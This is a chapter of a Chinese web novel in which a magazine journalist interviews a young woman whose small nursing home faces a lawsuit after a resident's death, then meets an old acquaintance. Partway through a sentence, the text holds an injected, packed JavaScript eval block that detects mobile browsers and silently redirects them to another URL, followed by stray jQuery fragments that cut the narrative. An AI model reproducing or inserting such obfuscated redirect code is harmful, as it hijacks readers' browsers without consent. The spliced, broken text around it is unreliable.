绥城距离松川有一千多公里，坐飞机到该省的省会城市，再转两个多小时的高铁，方能到达。


    走出火车站，梁知予乘坐出租车抵达预订的酒店，稍作安顿，便给手机上的一个号码打去了电话。


    “我到绥城了。今天方便见个面吗？”


    电话那头，传来一把安静沙哑的女声：“好，请告诉我地址，我过来找你。”


    除夕前两天，梁知予在社交平台上刷到一则新闻。


    事情发生在一座中部小城，有位八十岁老人在所居住的养老院房间里摔倒，送医不久便去世，家属状告养老院照顾不周，要追究其法律责任，并索要不菲的赔偿。


    如果仅仅如此，倒也与其他引人叹息的社会新闻别无两样；真正引起梁知予注意的，是这家养老院背后的运营者——


    不是政府，也不是企业，竟然是一个毕业才两年，回乡创业的大学生。


    到达绥城两小时后，在酒店旁边的一家连锁咖啡店里，梁知予见到了唐静。


    她的头发有点少年白，五官气质略显得严肃，或许是深颜色上衣不衬气色的缘故，整个人看起来，有股沉沉的暮气。


    “你好，梁记者。”


    见了面，唐静先同梁知予握手。


    “你好，唐静。”梁知予友善道，“可以直接叫我的名字。”


    “对了，要不要喝点什么？一会儿可能需要你说很多话，容易口渴的。”


    “拿铁就可以。”


    “好的。”梁知予转头叫来服务生，“请给我们两杯拿铁咖啡。”


    随后从自己的随身背包里拿出笔电、记事本、以及录音笔，样样铺开展示在桌上，“我们是文字采访，就不架摄影机了，但是需要对我们的对话全程录音，请唐小姐知晓。”


    眼前记者的温和态度，让唐静无形中放松不少。


    她点头表示了解：“嗯，我知道。”


    饮品端上来，采访正式开始。


    梁知予以闲聊的方式起题：“现在案子的进展怎么样？家属有希望同意和解吗？”


    唐静垂着眼，“看样子是没有的。他们主张赔偿金八十万，分文不能少。”


    “律师那边怎么说？”


    “要看目前的证据对我们是否有利。其他的倒也算了，只有一样，那就是我们的房间巡查记录。”


    唐静双手捧着咖啡杯，拿起来抿了小口。


    “我们机构原本的规定，是半小时巡一遍老人们的房间，以防发生意外却无人发现。可那天……”


    唐静永远也忘不了，当她看到电脑系统上那条迟了十分钟的巡查记录时，那种几近晕厥的感觉。


    她家在绥城下属的某镇，底下还有两个弟弟妹妹。三人跟着奶奶长大，直至唐静上高中那年，被父母接到了他们打工的绥城。


    三年后，唐静考上了省城的一所专科院校，就在她即将毕业那年，年迈的奶奶中暑晕倒在家中，被邻居发现时，早已没了呼吸。


    “我们村里，像我奶奶这种情况的独居老人并不少见。当时我就在想，如果他们能住进管理规范的养老院，是不是就会避免意外的发生。”


    梁知予适时提问：“那你是怎么想到，自己去开设一家养老院呢？”


    唐静：“那时候毕业找工作一直碰壁，我想，反正我的学历也没什么优势，如果能给社会做一点好事，也算对得起学校了。”


    在正式决定开设养老院之前，唐静走访过绥城的几家机构。有的养老院定位中高端客户群体，一年费用高达六位数；有的养老院虽然收费低，但是硬件条件堪忧，护工人手也不足。


    一通考察下来，唐静觉得自己的计划可行。


    “你至今为止的投入，大概有多少钱？”梁知予问。


    唐静从背包里拿出一个透明文件袋，里面包含了租房合同、劳动合同，以及她创办养老院以来的全部支出凭证。


    “两年的房租是二十万，加上装修、水电费、护工工资，还有日常生活用品、买菜的花销，差不多有七十万了。”她熟练地报数字，似乎已经在心里过了无数遍账目，“我向政府申请了创业补助，所以严格来讲，我花出去的钱应该在六十万左右。”


    “你是租的房子？”


    “嗯。”


    梁知予翻看着租房合同，注意到房屋的地址，是绥城临近郊区的一处自建房，总共两层半。


    “每个月八千多的房租？”她心算出月均价格，略微吃惊，“算是偏贵了。”


    唐静苦涩地笑：“房东知道我租来做养老院，比较担心老人可能在里面过世，所以定价偏高。可是没办法，别人甚至都不愿意租给我。”


    咖啡表面的奶泡已经散了，部分凝结在杯口，形成一串棕色的痕迹。杯子温度渐冷，苦味逐渐盖过了鲜奶的香气，徐徐飘散出来。


    “其实房东也准备找我索赔。”唐静的表情十分平静，“租房合同里备注了条款，如果有老人在房间里去世，我需要支付给房东一定金额的赔偿。”


    梁知予往后翻，果然，白纸黑字印着唐静所说的内容。


    “你做了两年，有赚回本吗？”她问。


    “原先的计划是第三年开始真正盈利，毕竟是私人小规模，全靠老人之间口口相传。现在……勉勉强强收回了八成的本钱吧。”


    文件数量多，梁知予一一拍照存档，同步上传至电脑云端。


    “方便带我去养老院实地看看吗？我需要拍摄更多的素材。”


    唐静没有迟疑：“当然可以。”


    *


    公交车坐到终点站，步行百余米，便能看见一栋刷了浅黄色漆的二层建筑。


    在这片区附近，如此规制的自建小楼倒也常见，但走近一看，唯独此间院落的大门前，挂着一幅写有“绥城益康养老院”字样的竖式门头招牌。


    这就是唐静工作的地方。


    她从口袋里掏出钥匙，打开栅栏前门的锁，领梁知予进了前院。


    “我们这儿原本住了十个老人，出事之后，机构被责令停业整改，老人们都暂时回家了，也有两三个直接退了床位，要改去别的养老院。”唐静边走边介绍。


    即便已经暂停营业，前院里依然整洁，只是原先摆在院子里的桌凳都被收了起来，堆在墙角，用一片塑料布罩着。


    梁知予给院子拍了几张照片，然后跟着唐静走进室内。


    “我们这里分单人间和双人间，老人们普遍怕孤单，大部分住双人间。”


    唐静说着，随手推开一扇门，给梁知予展示内里陈设。


    室内布置得倒也简单，类似于酒店标间，两张床之间隔了个床头柜，对面墙上挂了二十寸的小电视，衣柜在床尾的角落。


    进门左手边是卫生间，装了无障碍设施和报警装置。后者是个红色的圆形按钮，也见于床头和门边，据唐静解释，是怕老人出现紧急情况却无力呼救所安装的。


    梁知予若有所思：“去世的老人，没有按过按钮呼叫吗？”


    唐静说：“金奶奶是在靠窗的位置犯病晕倒的，那边没有警报按键。”


    “我可以按一下试试吗？”


    “可以。”


    梁知予轻轻按下了那个圆形按钮，下一秒，便听见楼上传来的尖锐刺耳的警报声。


    “我和我妈，还有护工都住在二楼，警报系统连通到我们那边，一旦有哪个老人报警，我们都能听得见。”唐静解释。


    梁知予看


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15931112|176067||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了一圈，并无特别发现，正要走出房间，突然注意到进门处的墙上有个黑色的仪器装置，便问道：“这个是什么？”


    “是我们的巡查记录器。原理和公司里面的打卡机差不多，每天值班的护工巡查完房间，要用自己的指纹在这个机器上打卡记录，表明已经按时完成巡查任务，电脑后台能看见数据。”


    使用电子设备，可以很好地规避人为篡改数据的风险，梁知予也认同这个做法。


    一楼的东北角是厨房，老人们吃饭就在大厅里。梁知予在出事的房间里转了一圈，别无收获，便跟着唐静上了二楼。


    二楼的布局比一楼更简单，除了工作人员的卧室，剩下的房间都被当做仓库使用，存放各种杂物。中间的楼梯通向天台，算是公共的晾晒区域，老年人腿脚不便，晾收衣物的工作，一般都由护工代劳。


    除了招聘来的三个护工，唐静和她母亲也参与着养老院的日常照护。买菜做饭的工作，全由唐静母亲承担，唐静则和其他护工一起，负责老人们的起居照看。


    梁知予拍照的时候，唐静接到了律师打来的电话，言语之间，似乎是要安排见面的意思。


    “你的律师要过来？”待唐静挂断电话，梁知予问道。


    唐静点头，“不好意思啊梁记者，今天的采访，可能要暂停了。不过我这几天都有时间，只要你还在绥城，随时可以和我联系。”


    梁知予笑了笑：“没关系，我也要回去整理今天的资料。不过，不知道你的律师是否方便接受采访？法律工作者的视角，对我们的报道也很重要。”


    “那我帮你微信问问他。”


    没过多久，一辆白色轿车缓缓开进来，停在了院门口。


    从副驾下来一个休闲西装的男人，身量不高，气场随和，面带笑容地走进院子里，爽朗道：“小唐，听说有记者想采访我？”


    唐静迎上去打招呼：“王律，这位就是我说的梁记者，从松川来的。”


    又转头对梁知予介绍：“梁记者，这位是王律。”


    “王律，您好。”梁知予主动伸手，同他握了握，“我是《刻度》杂志的记者，专门为唐静的事情而来。冒昧问一句，不知道您愿不愿意接受我们杂志社的采访，从律师的角度，给本案提供更多的解读？”


    “愿意，当然愿意。”王律笑着说，“这样吧，我们加个微信，过两天我应该有空，到时候联系。”


    梁知予连连应好。


    为了不影响唐静和王律交流案情细节，加完微信，梁知予便收拾好东西，准备回酒店。


    门前路窄，送王律过来的那辆白色轿车仍旧停在门口，驾驶座上似乎还坐着人。梁知予不得不从车头绕过去，心想这司机也怪，怎么宁愿干坐在车里等。


    还未走出几步，她忽然听得身后一句耳熟的男声：“梁知予，是你吗？”


    她愕然回头。


    只见驾驶座车门打开，一个颀长清俊的男人，正惊喜地望着她。


    “孟晔？”


    梁知予诧异地叫出他的名字，“你怎么在这里？”


    孟晔朝着院内扬脸示意，“王律是我的朋友。”


    说罢，眼神又落在梁知予身上，“你来这里采访？”


    “嗯，有个新闻。”


    孟晔看着她，笑容和煦：“这附近打车不太方便，不如我开车送你回去。”


    梁知予婉拒：“我可以坐公交。再说了，王律还在里面，你要是走了，他怎么办？”


    孟晔往院子里看了眼，幽默道：“哦，差点忘了他。”


    梁知予忍俊不禁。


    “或者，我陪你去公交站等车。”孟晔又说。


    “这么久没见，咱们正好叙叙旧。”